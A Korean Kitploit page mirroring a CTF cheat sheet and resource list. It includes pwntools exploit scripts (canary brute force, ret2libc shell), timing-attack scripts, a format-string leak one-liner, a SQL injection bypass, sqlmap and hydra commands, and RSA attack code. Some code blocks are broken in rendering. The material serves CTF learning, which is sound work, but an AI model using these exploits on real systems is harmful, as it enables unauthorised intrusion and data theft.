Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CTFs — 내가 수행한 일부 보안 CTF에 대한 CTF 치트 시트 + Writeups / 파일들 | Kitploit
도구/GitHubGitHub/adamkadaban/ctfs
OSINT (Open Source Intelligence)Reverse EngineeringForensicsWeb SecuritySteganographyCryptographyCTFPenetration TestingLearning & EducationCurated ResourcesBinary ExploitationLabs & Practice
84767939개월 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
GitHubadamkadaban/ctfs

CTFs

내가 수행한 일부 보안 CTF에 대한 CTF 치트 시트 + Writeups / 파일들

저장소 보기웹사이트

CTFs

제가 참여한 사이버 CTF 문제들에 대한 라이트업/파일들입니다.

CTF 자료 목록과 다양한 일반적인 CTF 문제를 다루는 포괄적인 치트 시트도 포함되어 있습니다.

[!NOTE] 이 저장소의 웹 미러가 hackback.zip에 있습니다.

목차

  • 자료

    • 유튜브 채널
    • 연습/학습 사이트
      • CTF
      • 일반
      • Pwn
      • Rev
      • 웹
      • 암호
      • 스마트 계약
      • 클라우드
      • 모의침투
  • CTF 치트 시트

    • 포렌식 / 스테가노그래피
      • 일반
      • 오디오
      • 이미지
      • 비디오
      • 머신 이미지
      • Pcap
    • Pwn / 바이너리 익스플로잇
      • 일반
      • 버퍼 오버플로우
      • PIE (위치 독립 실행)
      • NX (비실행)
      • ROP (정적 컴파일 바이너리용)
      • 스택 카나리
      • 포맷 문자열 취약점
      • 셸코드
      • Return-to-Libc
    • 리버스 엔지니어링
      • SMT 솔버
      • 바이트 단위 검사 리버싱
      • gef로 문자열 검색
    • 웹
      • 입력 필드 퍼징
    • 암호
      • CyberChef

      • 일반적인 암호

      • RSA

        • pycryptodome으로 RSA 정보 추출
        • 중국인의 나머지 정리 (p,q,e,c)
        • Coppersmith 공격 (c,e)
        • Pollard 공격 (n,e,c)
        • Wiener 공격 (n,e,c)
      • Base16, 32, 36, 58, 64, 85, 91, 92

    • 박스
      • 연결
      • 열거
      • 권한 상승
      • 리버스 셸 수신 대기
      • 리버스 셸
      • 대화형 셸 얻기
        • 리눅스
        • 윈도우 / 일반
    • OSINT
    • 기타

자료

유튜브 채널

  • John Hammond
    • 예전에 CTF 영상을 많이 만들었으나 다른 분야로 넘어갔습니다.
    • 여전히 유용한 영상이 많이 있습니다. 특히 CTF 관련 영상은 사이버 보안을 처음 접하는 사람들을 가르치는 데 환상적입니다.
  • Live Overflow
    • 사이버 보안에 대한 매우 흥미롭고 깊이 있는 영상을 제작합니다.
    • 훌륭한 pwn 시리즈가 있습니다.
  • IppSec
    • 모든 HackTheBox 머신에 대한 라이트업을 제작합니다.
      • 다양한 해결 방법과 작동 원리를 설명합니다. 강력 추천합니다.
  • Computerphile
    • Numberphile과 같은 사람들이 운영하지만 더 멋집니다. 기본 개념에 대한 초보자 수준의 직관적인 영상을 만듭니다.
  • pwn.college
    • ASU 교수가 pwn에 관한 방대한 영상을 제공합니다.
    • 강의 코스 자료: https://pwn.college/
    • 연습 문제가 많음: https://dojo.pwn.college/
  • PwnFunction
    • 다양한 주제에 대한 매우 고품질의 이해하기 쉬운 애니메이션 영상입니다.
    • 주제가 약간 고급이지만 쉽게 이해할 수 있습니다.
  • Martin Carlisle
    • picoCTF 문제에 대한 훌륭한 라이트업 영상을 만듭니다.
  • Sam Bowne
    • CCSF 교수로, 모든 강의와 코스 자료를 개인 웹사이트에 오픈소스로 공개합니다.
  • UFSIT
    • UF 사이버 팀 (약간 편향될 수 있지만, 이 분야에서 가장 좋은 유튜브 채널 중 하나입니다.)
  • Gynvael
    • 매우 직관적인 영상 라이트업을 만듭니다. picoCTF 2019 전체를 다루었습니다 (엄청난 양입니다).
  • Black Hills Information Security

발표 자료

제가 정리한 일부 슬라이드: hackback.zip/presentations

연습/학습 사이트

CTF

  • PicoCTF
    • 훌륭한 연습 문제가 엄청나게 많습니다.
    • 확실히 시작하기에 최고의 표준입니다.
  • UCF
    • 전반적으로 좋지만, pwn 연습에 특히 좋습니다.
    • 현재 라이트업을 여기에 작성 중입니다.
  • hacker101
    • CTF이지만 약간 더 침투 테스트에 중점을 둡니다.
  • CSAW
    • 90%는 다운되어 있고 대부분 연결이 작동하지 않습니다.
    • 하지만 작동할 때는 초보자에게 좋은 문제가 많습니다.
  • CTF101
    • 제가 본 CTF 소개 중 최고 중 하나입니다 (osiris 감사합니다).
    • 간결하고 초보자에게 친숙합니다.

일반

  • HackTheBox
    • OG 박스 사이트.
      • 박스는 품질이 보장되도록 큐레이션됩니다.
    • 이제 CTF 스타일 문제도 일부 있습니다.
    • 이제 학습을 시작할 수 있는 코스도 있습니다.
  • TryHackMe
    • HackTheBox보다 약간 쉬운 박스.
    • 단계별 문제.
    • 이제 주제를 안내하는 "학습 경로"가 있습니다.
  • CybersecLabs
    • 훌륭한 박스 모음.
    • CTF 자료도 있음.
  • VulnHub
    • 직접 배포해야 하는 취약한 가상 머신이 있습니다.
    • 다양성이 많지만 제 기준으로 좋은 것을 찾기 어렵습니다.

Pwn

  • pwnable.kr
    • 난이도가 다양한 문제.
  • pwnable.tw
    • pwnable.kr보다 어렵습니다.
    • 문제를 풀면 라이트업이 제공됩니다.
  • pwnable.xyz
    • 추가 pwn 문제.
    • 문제를 풀면 라이트업이 제공됩니다.
    • 모든 문제를 풀면 직접 문제를 업로드할 수 있습니다.
  • pwn dojo
    • 제 생각에 최고의 pwn 문제 모음.
    • 방법을 가르치는 슬라이드와 도움이 필요한 경우 디스코드가 함께 제공됩니다.
  • nightmare
    • C 바이너리 pwn의 표준.
    • 약간의 오타/실수가 있지만 전반적으로 훌륭합니다.
  • pwn notes
    • 온라인상의 한 사람이 작성한 노트.
    • 표면적이지만 모든 것에 대한 좋은 입문서입니다.
  • Security Summer School
    • 부쿠레슈티 대학교 보안 과정.
    • 매우 초보자 친화적인 설명.
  • RPISEC MBE
    • RPI의 현대 바이너리 익스플로잇 과정.
    • 연습을 위한 실습/프로젝트가 꽤 있고 (약간 오래된) 강의가 있습니다.
  • how2heap
    • ASU CTF 팀이 만든 힙 익스플로잇 시리즈.
    • 익스플로잇 작동 방식을 보여주는 매우 멋진 디버거 기능 포함.
  • ROPEmporium
    • 모든 주요 아키텍처에서 Return-Oriented-Programming을 가르치는 문제 세트.
    • 매우 고품질. 가장 기본적인 기술부터 가장 고급 기술까지 가르칩니다.
    • 현재 제 라이트업을 여기에 추가 중입니다.
  • Phoenix Exploit Education
    • 난이도별로 정렬된 수많은 바이너리 익스플로잇 문제.
    • 소스 코드를 포함하며 모든 바이너리가 포함된 VM이 함께 제공됩니다.

Rev

  • challenges.re
    • 문제가 정말 많습니다 0_0.
    • 다양성이 풍부합니다.
  • reversing.kr
  • crackmes.one
    • 수많은 크랙미(CTF) 스타일 문제.
  • Malware Unicorn Workshops
    • 리버스 엔지니어링 및 멀웨어 분석에 관한 무료 워크숍.

웹

  • websec.fr
    • 난이도 범위가 좋은 많은 웹 문제.
  • webhacking.kr
    • 많은 좋은 웹 문제 아카이브.
  • Securing Web Applications
    • 오픈소스 CCSF 과정.
  • OWASP Juice Shop
    • 침투 테스트에 크게 중점을 두지만 CTF에서 웹을 탐색하는 데 유용합니다.
    • 총 100개 이상의 취약점/문제.
  • PortSwigger
    • 웹 해킹 이해의 표준.
    • 훌륭한 문제와 설명이 많습니다.
  • DVWA
    • 침투 테스트에 크게 중점을 두지만 CTF에서 웹을 탐색하는 데 유용합니다.
  • bWAPP
    • 침투 테스트에 크게 중점을 두지만 CTF에서 웹을 탐색하는 데 유용합니다.
  • CTF Challenge
    • Adam Langley가 만든 웹 문제 모음으로, 최대한 현실적으로 제작되었습니다.
    • 버그 바운티 경험을 쌓는 데 좋습니다.

암호

  • CryptoHack
    • 현재 라이트업을 여기에 작성 중입니다.
  • cryptopals
    • OG 암호 문제 사이트.
  • CryptoCTF
    • 연례 암호 CTF. 이전 연도는 20{19,20,21,22,23,24}.cr.yp.toc.tf에서 접속 가능합니다.

스마트 계약

  • Capture the Ether

클라우드

  • CloudFoxable
    • cloudfox를 사용하여 익스플로잇할 취약한 환경을 설정하는 방법을 안내합니다.
  • flaws.cloud
    • S3, EC2, Lambda에서 비밀을 찾는 무료 문제.

모의침투

  • hacker101
  • hacksplaining
  • Exploit developement
    • 오픈소스 CCSF 과정.
  • Intro to Security
    • UC San Diego 과정, Deian Stefan 교수.
    • 기본 pwn 및 암호를 다룹니다.
  • Active Directory Cheat Sheet
  • WADComs
    • Windows/AD 환경을 위한 대화형 치트 시트.
  • LOLBAS
    • Windows "생활 속에서 얻은" 바이너리, 스크립트, 라이브러리를 익스플로잇하기 위한 대화형 치트 시트.
  • GTFOBins
    • 리눅스 "생활 속에서 얻은" 기법을 위한 대화형 치트 시트.

CTF 치트 시트

포렌식 / 스테가노그래피

일반

  • AperiSolve
    • 다른 스테고 도구를 자동으로 실행하는 도구.
  • John Hammond의 다양한 문제 유형에 대한 정말 좋은 자료:
    • https://github.com/JohnHammond/ctf-katana
  • 문제 생성 및 해결을 위한 또 다른 훌륭한 치트 시트:
    • https://github.com/apsdehal/awesome-ctf/blob/master/README.md
  • file
    • file <file.xyz>
    • 파일 유형을 확인합니다.
  • steghide
    • steghide extract -sf <file.xyz>
    • 숨겨진 파일을 추출합니다.
  • stegseek
    • stegseek <file> <password list>
    • 단어 목록을 사용하여 숨겨진 파일을 추출합니다.
    • 매우 빠릅니다.
  • binwalk
    • binwalk -M --dd=".*" <file.xyz>
    • 숨겨진 파일을 추출합니다.
  • exiftool
    • exiftool <file.xyz>
    • 메타데이터를 읽습니다.
  • strings
    • strings <file.xyz>
    • 파일에서 모든 인쇄 가능한 문자를 찾습니다.
  • hexedit
    • hexedit <file.xyz>

오디오

  • 팩스 기계 오디오:

    • 예시
    • 디코더
  • SSTV (슬로우 스캔 TV) 오디오 (달 관련)

    • 예시
    • 디코더
    • 대체 디코더
    • 다음 qsstv 설정을 사용하세요:

    SSTV 설정

  • 스펙트로그램 이미지

    • 디코더
  • 피치, 속도, 방향 변경...

    • 피치, 속도, 조율
    • 역재생
  • DTMF (듀얼 톤 다중 주파수) 전화 키

    • multimon-ng -a DTMF -t wav <file.wav>
      • 이것들이 멀티탭 문자일 수 있다는 점을 명심하세요.
        • 이 사이트에서 숫자를 텍스트로 디코딩할 수 있습니다.
  • 카세트 테이프

    • 예시
    • 디코더 (wav를 tap 파일로 변환)
  • 모스 부호

    • 디코더

이미지

  • stegsolve
    • 비트를 전환합니다.
  • foremost
    • 이미지 추출을 위한 특수 도구.
    • 깨진 이미지를 조합하는 데 사용할 수 있습니다 (예: pcap에서).
  • Depix
    • 텍스트의 픽셀화를 해제합니다.
  • 포토샵 처리 여부 확인 (하이라이트 확인)
    • https://29a.ch/photo-forensics/#error-level-analysis
  • zsteg
    • LSB 디코더.
  • jsteg
    • jpeg 스테가노그래피 솔버.
  • pixrecovery
    • 지금까지 찾은 가장 효과적인 png 복구 도구 (워터마크에 신경 쓰지 않는다면).
    • photopea도 잘 작동합니다.
  • crc32fix
    • 체크섬을 기반으로 png의 높이와 너비를 수정합니다.
  • PCRT
    • png 헤더와 푸터 정보를 수정합니다.
  • png-crc-fix
    • png 체크섬을 수정합니다.
  • pngcheck
    • png에 오류가 있는지 확인합니다.
    • pngcheck

비디오

머신 이미지

  • 파일 복구
    • photorec <file.bin>
  • 이미지를 가상 머신으로 마운트할 수 있습니다.
    • https://habr.com/en/post/444940/
  • .img 파일 마운트:
    • binwalk -M --dd=".*" <fileName>
    • 출력에 file을 실행하고 Linux 파일 시스템 파일을 선택합니다.
    • losetup /dev/loop<freeLoopNumber> <fileSystemFile>

Pcap

  • tcpflow로 데이터 추출
    • tcpflow -r <file.pcap>
  • wireshark로 데이터 추출
    • 파일 → 객체 내보내기 → 선택

Pwn / 바이너리 익스플로잇

  • 이 부분은 제 LearnPwn 저장소를 참조하는 것이 좋습니다. 이 치트 시트는 제가 pwn에 대해 많이 알기 전에 만든 것이기 때문입니다.
    • 하지만 여기 있는 내용에 대한 약간의 추가 노트를 포함했습니다.

일반

  • ELF 보안 확인
    • checksec <binary>
    • rabin2 -I <binary>
  • PE 보안 확인
    • binary-security-check
    • binary-security-check <bin>.exe
  • seccomp bpf 확인
    • seccomp-tools
    • seccomp-tools dump ./<binary>
  • 심볼 확인
    • readelf -s <binary>
  • 문자열 확인
    • rabin2 -z <binary>
  • 주소를 바이트로 패킹
    • 리틀 엔디안 (32비트)
      • python -c "import pwn; print(pwn.p32(<intAddr>))
    • 빅 엔디안 (64비트)
      • python -c "import pwn; print(pwn.p64(<intAddr>))
    • pwntools는 자동으로 올바른 엔디안으로 주소를 패킹합니다.

버퍼 오버플로우

  • /bin/sh 셸이 필요하고 작동이 확실하지만 프로그램이 종료되는 경우, 다음 트릭을 사용하세요:
    • ( python -c "print '<PAYLOAD>'" ; cat ) | ./<program>
    • pwntools는 process.interactive()로 이를 처리합니다.

PIE (위치 독립 실행)

  • 랜덤 값 확인
    • pwn cyclic <numChars>로 페이로드 생성
    • dmesg | tail | grep segfault로 오류 위치 확인
    • pwn cyclic -l 0x<errorLocation>로 명령 포인터를 제어하기 위한 랜덤 오프셋 확인
    • 예시

NX (비실행)

  • ROP (return oriented programming)를 사용하여 해결할 수 있습니다.

ROP (정적 컴파일 바이너리용)

  • ROPGadget
    • 가젯을 보고 ropchain을 자동 생성합니다.
    • ROPgadget --ropchain --binary <binary>
      • 코드 시작 부분에 (버퍼와 리턴 주소의 차이에 기반한) 패딩을 추가하고 실행하면 셸을 얻을 수 있습니다.
      • 데모
  • ropr

스택 카나리디버거에서 스택 카나리 찾기

  • 스택 카나리는 버퍼 오버플로우로 덮어쓸 수 있는 EIP/RIP(명령어 포인터) 앞에 배치되는 값입니다. 프로그램은 기본적으로 스택이 원래와 다른 값으로 덮어쓰여지면 오류를 발생시킵니다. 우리의 목표는 오버플로우할 때 프로그램이 정상적으로 실행되도록 원래 스택을 찾는 것입니다.
  • 스택 카나리는 gs 또는 fs(각각 32비트 및 64비트)에서 가져옵니다.
    • 디스어셈블리에서, 무언가를 읽기 전에 다음과 유사한 줄을 볼 수 있습니다:``` 0x000000000000121a <+4>: sub rsp,0x30 0x000000000000121e <+8>: mov rax,QWORD PTR fs:0x28 0x0000000000001227 <+17>:mov QWORD PTR [rbp-0x8],rax 0x000000000000122b <+21>:xor eax,eax
root@kitploit:~
- 여기서, 스택 카나리는 offset +8에서 `rax`로 이동됩니다.
    - 따라서, 다음 offset에서 중단하고 rax의 값을 확인하여 (`i r rax`) 현재 카나리가 무엇인지 확인합니다

**정적 카나리**
- 카나리는 프로그래머가 수동으로 구현한 경우(일부 입문 pwn 챌린지의 경우) 또는 프로그램을 포크할 수 있는 경우에만 정적입니다.
    - 바이너리를 포크하면 포크된 프로세스가 동일한 카나리를 가지므로, 바이트 단위로 브루트포스할 수 있습니다.

**추가**
- 스택 카나리가 부적절하게 덮어쓰여지면 `__stack_chk_fail` 호출이 발생합니다.
    - 카나리를 누출할 수 없는 경우, GOT 테이블을 수정하여 호출을 방지할 수도 있습니다.
- 카나리는 현재 스택의 `TLS` 구조에 저장되며 `security_init`에 의해 초기화됩니다.
    - 실제 카나리 값을 덮어쓸 수 있다면, 오버플로우하기로 결정한 값과 동일하게 설정할 수 있습니다.

- 정적 4바이트 카나리를 브루트포스하는 간단한 스크립트:```python
#!/bin/python3
from pwn import *

#This program is the buffer_overflow_3 in picoCTF 2018
elf = ELF('./vuln')

# Note that it's probably better to use the chr() function too to get special characters and other symbols and letters.
# But this canary was pretty simple :)
alphabet = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890"

canary = ''
# Here we are bruteforcing a canary 4 bytes long
for i in range(1,5):
    for letter in range(0,len(alphabet)):  # We will go through each letter/number in the string 'alphabet'
        p = elf.process()  # We start the process
        wait = p.recv().decode('utf-8')
        p.sendline(str(32+i))  # In this program, we had to specify how many bytes we were gonna send.
        wait = p.recv().decode('utf-8')
        p.sendline('A'*32 + canary + alphabet[letter])  # We send the 32 A's to overflow, and then the canary we already have + our guess
        prompt = p.recv().decode('utf-8')
        if "Stack" not in prompt:  # The program prints "Stack smashed [...]" if we get wrongfully write the canary.
            canary += alphabet[letter]  # If it doesn't print that, we got part of our canary :)
            break  # Move on to the next canary letter/number

print("The canary is: " + canary)

Format String Vulnerabilities

  • "printf(buf)" 또는 이와 유사한 코드가 보일 때 시도할 사항은 Table 2를 참조하세요:
    • https://owasp.org/www-community/attacks/Format_string_attack
  • picoCTF 2018의 'echooo' 챌린지를 진행하는 John Hammond의 영상을 강력 추천합니다.
  • 때로는 스택에서 문자열만 출력하려는 시도(예: '%s %s %s %s %s %s')는 스택의 모든 내용이 문자열이 아니므로 오류를 유발할 수 있습니다.
  • 대신 '%x %x %x %x %x %s'와 같이 사용하여 오류를 최소화해 보세요.
  • %x와 %s의 개수를 계속 늘리는 대신, 매개변수를 전달하여 더 쉽게 처리할 수 있습니다:
    • %1$s - 스택의 첫 번째 값(버퍼 바로 옆에 있는 값)을 문자열로 출력합니다.
    • %2$s - 두 번째 값을 문자열로 출력하며, 이런 식으로 계속 사용합니다.
    • 원라이너 루프를 사용하여 스택을 유출해 플래그를 찾을 수 있습니다. ^C (Ctrl + C)를 누르면 다음 값으로 넘어갑니다.
      • for i in {1..100}; do echo "%$i\$s" | nc [b7dca240cf1fbf61.247ctf.com](http://b7dca240cf1fbf61.247ctf.com/) 50478; done
  • 다양한 크기 매개변수를 사용하여 유출 크기를 제어할 수 있습니다:
    • %hhx는 1바이트 유출 (int 크기의 절반의 절반)
    • %hx는 2바이트 유출 (int 크기의 절반)
    • %x는 4바이트 유출 (int 크기)
    • %lx는 8바이트 유출 (long 크기)
  • fstring 취약점과 %n을 사용한 스택 수정에 대한 매우 좋은 동영상:
    • https://www.youtube.com/watch?v=gzLPVkZbaPA&ab_channel=MartinCarlisle

Shellcode

  • 다양한 셸코드를 찾을 수 있는 좋은 웹사이트:
    • http://shell-storm.org/shellcode/

Return-to-Libc

  • EIP를 덮어써서 system() 라이브러리 함수를 호출하고, 실행할 인자(이 예제에서는 "/bin/sh"를 담은 버퍼)를 전달합니다.

  • 좋은 설명:

    • https://www.youtube.com/watch?v=FvQYGAM1X9U&ab_channel=NPTEL-NOCIITM
  • 좋은 예제 (3:22:44로 이동):

    • https://www.youtube.com/watch?v=uIkxsBgkpj8&t=13257s&ab_channel=freeCodeCamp.org
    • https://www.youtube.com/watch?v=NCLUm8geskU&ab_channel=BenGreenberg
  • execve("/bin/sh")의 주소 구하기:

    • one_gadget <libc 파일>
  • 이미 libc 파일과 위치를 알고 있다면(즉, 유출할 필요가 없다면...)```python #!/bin/python3

from pwn import * import os

binaryName = 'ret2libc1'

get the address of libc file with ldd

libc_loc = os.popen(f'ldd {binaryName}').read().split('\n')[1].strip().split()[2]

use one_gadget to see where execve is in that libc file

one_gadget_libc_execve_out = [int(i.split()[0], 16) for i in os.popen(f'one_gadget {libc_loc}').read().split("\n") if "execve" in i]

pick one of the suitable addresses

libc_execve_address = one_gadget_libc_execve_out[1]

p = process(f'./{binaryName}') e = ELF(f'./{binaryName}') l = ELF(libc_loc)

get the address of printf from the binary output

printf_loc = int(p.recvuntil('\n').rstrip(), 16)

get the address of printf from libc

printf_libc = l.sym['printf']

calculate the base address of libc

libc_base_address = printf_loc - printf_libc

generate payload

0x17 is from gdb analysis of offset from input to return address

offset = 0x17

payload = b"A"*offset payload += p64(libc_base_address + libc_execve_address)

send the payload

p.sendline(payload)

enter in interactive so we can use the shell created from our execve payload

p.interactive()

root@kitploit:~
## 리버스 엔지니어링

> 유용한 가이드: [https://opensource.com/article/20/4/linux-binary-analysis](https://opensource.com/article/20/4/linux-binary-analysis)
 
- [Ghidra](https://ghidra-sre.org/)
    - 매우 유용한 디컴파일러
- dotPeek 또는 dnSpy
    - .NET 실행 파일 디컴파일
- [jadx](https://github.com/skylot/jadx) 및 jadx-gui
    - APK 디컴파일
- [devtoolzone](https://devtoolzone.com/decompiler/java)
    - 자바 온라인 디컴파일
- [Quiltflower](https://github.com/QuiltMC/quiltflower/)
    - 고급 터미널 기반 자바 디컴파일러
- apktool
    - APK 디컴파일
    - `apktool d *.apk`
- [gdb](https://www.gnu.org/software/gdb/)
    - 바이너리 분석
    - [peda](https://github.com/longld/peda) (기능 향상을 위한 확장)
    - [gef](https://github.com/hugsy/gef) (pwners를 위한 gdb 확장)
- [radare2](https://github.com/radareorg/radare2)
    - 바이너리 분석
- [FLOSS](https://github.com/mandiant/flare-floss)
    - 강화된 `strings`. 정적 분석을 사용하여 문자열을 찾고 계산합니다.

#### SMT 솔버
- [angr](https://github.com/angr/angr) (python)
    - [Docs](https://docs.angr.io/core-concepts/toplevel)
    - [Tutorial](https://github.com/Adamkadaban/CTFs/blob/master/.resources/SMT_Solvers.md)
- [z3](https://github.com/Z3Prover/z3)
    - [Tutorial](https://github.com/Adamkadaban/CTFs/blob/master/.resources/SMT_Solvers.md)

#### 바이트 단위 검사 리버싱 (사이드 채널 공격)

[https://dustri.org/b/defeating-the-recons-movfuscator-crackme.html](https://dustri.org/b/defeating-the-recons-movfuscator-crackme.html)

- 다음은 시간 기반 공격을 사용하는 문제를 위해 제가 만든 버전입니다:
    - 무작위성을 고려하여 몇 번 실행해야 할 수도 있습니다.

```python
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("127.0.0.1", 1337))
data = b""
for i in range(10000):
    # print(i)
    data += b"a"
    # send data byte by byte
    s.send(data + b"\n")
    start = time.time()
    response = s.recv(1024)
    end = time.time()
    delta = end-start
    # print(delta)
    if b"Incorrect" in response:
        if delta > 0.05:  # if time is greater than 0.05 seconds, we found a correct byte
            print(f"Found byte: {i}, delta: {delta}")
    else:
        print(f"Flag: {response}")
        break
``````python
#!/bin/python3

from pwn import *
import string

keyLen = 8
binaryName = 'binary'

context.log_level = 'error'

s = ''
print("*"*keyLen)
for chars in range(keyLen):
    a = []
    for i in string.printable:
        p = process(f'perf stat -x, -e cpu-clock ./{binaryName}'.split())
        p.readline()
        currPass = s + i + '0'*(keyLen - chars - 1)
        # print(currPass)
        p.sendline(currPass.encode())
        p.readline()
        p.readline()
        p.readline()
        info = p.readall().split(b',')[0]
        p.close()
        try:
            a.append((float(info), i))
        except:
            pass
        # print(float(info), i)
    a.sort(key = lambda x: x[0])
    s += str(a[-1][1])
    print(s + "*"*(keyLen - len(s)))
    # print(sorted(a, key = lambda x: x[0]))

p = process(f'./{binaryName}')
p.sendline(s.encode())
p.interactive()

gef로 문자열 검색하기

  • 플래그가 변수나 레지스터에 읽히는 시점이 있다면, 해당 이동 후 중단하고 grep <문자열>을 실행하면 gef가 자동으로 검색 패턴과 일치하는 문자열을 보여줍니다.

웹

  • Nikto (허용되는 경우)
    • 취약점을 자동으로 찾습니다.
  • gobuster (허용되는 경우)
    • 디렉터리와 파일을 무차별 대입합니다.
  • hydra (허용되는 경우)
    • 다양한 서비스의 로그인을 무차별 대입합니다.
  • BurpSuite
    • 웹 요청을 가로채고 수정할 수 있습니다.
  • Wireshark
    • 실시간 네트워크 트래픽과 pcap 파일을 분석합니다.
  • php reverse shell
    • 파일 업로드를 허용하는 웹사이트에 유용합니다.
    • 이 파일은 동작하려면 서버에서 실행되어야 합니다.
  • WPScan
    • WordPress 웹사이트를 스캔합니다.
    • 최상의 결과를 위해 wpscan --url <사이트> --plugins-detection mixed -e를 API 키와 함께 사용하세요.
  • jwt
    • JWT 토큰은 base64로 인코딩된 JSON(따라서 JWT 토큰)이 "ey"로 시작하므로 식별할 수 있습니다.
    • 이 사이트는 JSON 웹 토큰을 디코딩합니다.
    • JSON 웹 토큰의 시크릿을 크래킹하여 토큰을 수정하고 서명할 수 있습니다.
      • echo <토큰> > jwt.txt
      • john jwt.txt
  • SQL 인젝션
    • sqlmap
      • sqlmap --forms --dump-all -u <URL>
      • SQL 인젝션 과정을 자동화합니다.
    • 기본 SQL 인젝션
      • 로그인 폼에 'OR 1=1--를 입력합니다.

입력 필드 퍼징

  • FFUF
    • 입력 필드로 요청을 복사하고 파라미터를 "FUZZ"로 대체합니다.
      • ffuf -request input.req -request-proto http -w /usr/share/seclists/Fuzzing/special-chars.txt -mc all
      • 크기 필터링은 -fs를 사용하세요.

암호

CyberChef

  • CyberChef
    • 다양한 암호화 작업을 수행합니다.

암호 감지기

해시

  • hashid
    • 해시 유형을 감지하는 명령줄 유틸리티

일반적인 암호

  • 시저 암호
  • 비즈네르 암호```python

Solver using custom table

cipherText = "" plainText = "" flagCipherText = "" tableFile = ""

with open(cipherText) as fin: cipher = fin.readline().rstrip()

with open(plainText) as fin: plain = fin.readline().rstrip()

with open(flagCipherText) as fin: flag = fin.readline().rstrip()

with open(tableFile) as fin: table = [i.rstrip().split() for i in fin.readlines()]

table[0].insert(0, "") # might have to modify this part. # just a 2d array with the lookup table # should still work if the table is slightly off, but the key will be wrong key = "" for i, c in enumerate(plain[0:100]): col = table[0].index(c) for row in range(len(table)): if table[row][col] == cipher[i]: key += table[row][0] break

print(key)

dec_flag = "" for i, c in enumerate(flag[:-1]): col = table[0].index(key[i]) for row in range(len(table)): if table[row][col] == flag[i]: dec_flag += table[row][0] break

print(dec_flag)

root@kitploit:~
- [Substitution Cipher](https://www.quipqiup.com/)
- [Rot13](https://rot13.com/)
- [Keyed Caesars cipher](https://www.boxentriq.com/code-breaking/keyed-caesar-cipher)

### RSA

#### pycryptodome으로 RSA 정보 가져오기```python
from Crypto.PublicKey import RSA

keyName = "example.pem"

with open(keyName,'r') as f:
    key = RSA.import_key(f.read())

print(key)

# You can also get individual parts of the RSA key 
# (sometimes not all of these)
print(key.p)
print(key.q)
print(key.n)
print(key.e)
print(key.d)
print(key.u)

# public keys have n and e

중국인의 나머지 정리 (p,q,e,c)

  • 숫자 n을 인수분해할 수 있을 때 사용하십시오

    • 잘못된 구현은 하나 이상의 소인수를 가집니다
    • 증명
  • 이전```python def egcd(a, b): if a == 0: return (b, 0, 1) g, y, x = egcd(b%a,a) return (g, x - (b//a) * y, y)

def modinv(a, m): g, x, y = egcd(a, m) if g != 1: raise Exception('No modular inverse') return x%m

p = q = e = c =

n = p*q # use factordb command or website to find factors

phi = (p-1)*(q-1) # phi is simply the product of (factor_1-1) * ... * (factor_n -1)

d = modinv(e, phi) # private key

print(d)

m = pow(c,d,n) # decrypted plaintext message in long integer form

thing = hex(m)[2:] # ascii without extra stuff at the start (0x) print(bytes.fromhex(thing).decode('ascii'))

root@kitploit:~
- 신규```python
#!/bin/python3
from Crypto.Util.number import *
from factordb.factordb import FactorDB

# ints:
n =    
e =  
c =  

f = FactorDB(n)
f.connect()
factors = f.get_factor_list()

phi = 1
for i in factors:
    phi *= (i-1)

d = inverse(e, phi)
m = pow(c, d, n)

flag = long_to_bytes(m).decode('UTF-8')
print(flag)
  • 인수와 오일러 피 함수(phi)를 제공하는 웹사이트
    • https://www.alpertron.com.ar/ECM.HTM

Coppersmith attack (c,e)

  • 보통 지수가 매우 작을 때 사용됩니다 (e <= 5)

    • 증명```python from Crypto.Util.number import * def nth_root(radicand, index): lo = 1 hi = radicand while hi - lo > 1: mid = (lo + hi) // 2 if mid ** index > radicand: hi = mid else: lo = mid

    if lo ** index == radicand: return lo elif hi ** index == radicand: return hi else: return -1

c = e =

plaintext = long_to_bytes(nth_root(c, e)) print(plaintext.decode("UTF-8"))

root@kitploit:~
#### Pollard 공격 (n,e,c)
- [Pollard의 인수분해 방법](http://www.math.columbia.edu/~goldfeld/PollardAttack.pdf)에 기반하며, 이 방법은 소수의 곱이 (B)스무스(smooth)하면 [쉽게 인수분해](https://people.csail.mit.edu/rivest/pubs/RS01.version-1999-11-22.pdf)될 수 있도록 합니다.
    - 이는 `p-1 | B!`이고 `q-1`이 `B`보다 큰 인수를 가질 때 해당됩니다.```python
from Crypto.Util.number import *
from math import gcd

n = 
c = 
e = 

def pollard(n):
    a = 2
    b = 2
    while True:
        a = pow(a,b,n)
        d = gcd(a-1,n)
        if 1 < d < n: 
            return d
        b += 1

p = pollard(n)
q = n // p

phi = 1
for i in [p,q]:
    phi *= (i-1)

d = inverse(e, phi)
m = pow(c, d, n)

flag = long_to_bytes(m).decode('UTF-8')
print(flag)

Wiener Attack (n,e,c)

  • d가 너무 작거나 (또는 e가 너무 큰) 경우에 사용
    • 이 파이썬 모듈 사용
    • 증명```python from Crypto.Util.number import * import owiener

n = e = c =

d = owiener.attack(e, n) m = pow(c, d, n)

flag = long_to_bytes(m) print(flag)

root@kitploit:~
### Base16, 32, 36, 58, 64, 85, 91, 92

[https://github.com/mufeedvh/basecrack](https://github.com/mufeedvh/basecrack)

## Box

### 연결

- ssh
    - `ssh <username>@<ip>`
    - `ssh <username>@<ip> -i <private key file>`
    - SSH를 로컬 파일 시스템으로 마운트:
        - `sshfs -p <port> <user>@<ip>: <mount_directory>`
    - 알려진 호스트
        - `ssh-copy-id -i ~/.ssh/id_rsa.pub <user@host>`
- netcat
    - `nc <ip> <port>`
    

### 열거

- 머신 발견
    - `netdiscover`
- 머신 포트 스캔
    - `nmap -sC -sV <ip>`
- Linux 열거
    - `enum4linux <ip>`
    
- SMB 열거
    - `smbmap -H <ip>`
